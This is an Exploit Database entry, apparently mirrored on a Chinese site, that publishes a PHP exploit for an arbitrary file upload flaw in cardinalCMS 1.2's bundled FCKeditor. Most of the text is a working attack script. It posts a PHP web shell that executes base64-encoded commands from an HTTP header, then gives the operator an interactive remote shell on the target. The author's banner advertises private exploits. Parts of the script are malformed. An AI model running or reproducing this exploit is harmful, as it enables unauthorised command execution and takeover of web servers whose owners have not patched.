cardinalCMS 1.2 – ‘FCKeditor’ Arbitrary File Upload

Exploit Database
128 阅读

作者： Ma3sTr0-Dz

日期： 2010-05-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/12690/

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cardinalCms 1.2 (fckeditor) Arbitrary File Upload Exploit.

==========================================================

# Date....................: [21-05-2010]

# Author..................: [Ma3sTr0-Dz]

# Location ...............: [Algeria]

# Software ...............: [cardinalCms 1.2 (fckeditor) Arbitrary File Upload Exploit.]

# Impact..................: [Remote]

# Site Software ..........: [http://www.ckeditor.com]

# Sptnx ..................: [CmOs_Clr & Sec4ever Memberz.]

# Home : .................: [Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !]

# Contact me : ...........: [o5m@hotmail.de]

# Vulnerability: Arbitrary File Upload .

# Part ExplOit & Bug Codes :

---

<?php

--------------------------------------------------------------

cardinalCms 1.2 (fckeditor) Arbitrary File Upload Exploit.

--------------------------------------------------------------

By : Ma3sTr0-Dz [ Www.Sec4ever.Com ]

[-] vulnerable code in /[path]/html/news_fckeditor/editor/filemanager/upload/php/upload.php

with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

$sock = fsockopen($host, 80);

while (!$sock)

{

print "\n[-] No response from {$host}:80 Trying again...";

$sock = fsockopen($host, 80);

}

fputs($sock, $packet);

while (!feof($sock)) $resp .= fread($sock, 1024);

fclose($sock);

return $resp;

}

print "\n+------------------------------------------------------------+";

print "\n|File Upload Exploit by Ma3sTr0-Dz |";

print "\n+------------------------------------------------------------+\n";

if ($argc < 2)

{

print "\nUsage......: php $argv[0] host path";

print "\nExample....: php $argv[0] localhost /cardinalCms/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$data= "--12345\r\n";

$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";

$data .= "Content-Type: application/octet-stream\r\n\r\n";

$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";

$data .= "--12345--\r\n";

$packet= "POST {$path}/news_fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($data)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $data;

preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");

else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)

{

print "\nMa3sTr0-Dz-shell# ";

$cmd = trim(fgets(STDIN));

if ($cmd != "exit")

{

$packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";

$packet.= "Host: {$host}\r\n";

$packet.= "Cmd: ".base64_encode($cmd)."\r\n";

$packet.= "Connection: close\r\n\r\n";

$output = http_send($host, $packet);

if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");

$shell = explode("_code_", $output);

print "\n{$shell[1]}";

}

else break;

}